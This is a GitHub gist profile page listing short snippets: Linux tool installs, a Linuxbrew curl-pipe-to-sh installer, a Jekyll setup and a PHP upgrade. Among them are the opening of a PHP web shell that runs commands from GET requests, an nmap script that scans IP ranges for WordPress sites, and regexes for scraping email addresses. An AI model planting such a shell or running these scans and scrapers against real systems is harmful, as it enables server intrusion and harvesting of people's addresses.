Skip to content

Instantly share code, notes, and snippets.

View Lerie82's full-sized avatar

Lerie Taylor Lerie82

View GitHub Profile
sudo apt-get -y install ltrace strace gdb
@Lerie82
Lerie82 / linux-brew.sh
Created June 14, 2018 15:11
install homebrew for ubuntu with linuxbrew
sh -c "$(curl -fsSL https://raw.githubusercontent.com/Linuxbrew/install/master/install.sh)"
test -d ~/.linuxbrew && PATH="$HOME/.linuxbrew/bin:$HOME/.linuxbrew/sbin:$PATH"
test -d /home/linuxbrew/.linuxbrew && PATH="/home/linuxbrew/.linuxbrew/bin:/home/linuxbrew/.linuxbrew/sbin:$PATH"
test -r ~/.bash_profile && echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.bash_profile
echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.profile
apt-get -y install newsbeuter
touch /home/$USER/.newsbeuter/urls
{
echo "https://hackaday.com/blog/feed/"
echo "https://krebsonsecurity.com/feed/"
echo "http://feeds.foxnews.com/foxnews/latest"
echo "https://www.exploit-db.com/rss.xml"
echo "https://www.0day.today/rss"
echo "https://news.ycombinator.com/rss"
@Lerie82
Lerie82 / shell.php
Created June 19, 2018 20:23
execute commands on a server through GET
<pre>
<?php
function doCmd($cmd)
{
while(@ob_end_flush());
$proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r');
$live_output = "";
@Lerie82
Lerie82 / wordpscan.sh
Last active May 31, 2020 11:35
scan a range of ip's with nmap looking for wordpress sites
#!/bin/bash
#https://lerietaylor.com/blog
#scan a range of ip's with nmap looking for wordpress sites
#lerie,11:29pm,6/6/18
#fxbg,11:57,6/6/18
#get nmap argument for ip range
if [ "$1" == "" ]; then
echo 'no argument set'
exit
@Lerie82
Lerie82 / install-webtools.sh
Last active July 16, 2018 16:29
web tools
#curl, curl libraries, lynx
#
git clone https://github.com/jarun/googler.git
apt-get install -y curl libcurl4-openssl-dev libcurl4-gnutls-dev lynx
@Lerie82
Lerie82 / emails
Created July 16, 2018 16:28
regular expression for email scraping
(\w+[{]at[}].*[.]com)
[<](\w+.*\w+\sat\s.*[.]\w+)
(([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5}))
@Lerie82
Lerie82 / rubj.sh
Last active September 19, 2018 17:57
ruby+jekyll install on ubuntu xenial
#!/bin/sh
#https://jekyllrb.com/docs/installation/ubuntu/
sudo apt-get install ruby ruby-dev build-essential
echo '# Install Ruby Gems to ~/gems' >> ~/.bashrc
echo 'export GEM_HOME=$HOME/gems' >> ~/.bashrc
echo 'export PATH=$HOME/gems/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
#bundle install
sudo gem install jekyll bundler
@Lerie82
Lerie82 / php7to71
Created January 11, 2019 22:29
update from php7 to php7.1 and update laravel
#moving from php7.0 to php7.1 for laravel
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get -y install php7.1 php7.1-common
sudo apt-get install php7.1-xml php7.1-mbstring
sudo service mysql stop
sudo usermod -d /var/lib/mysql/ mysql
sudo service mysql start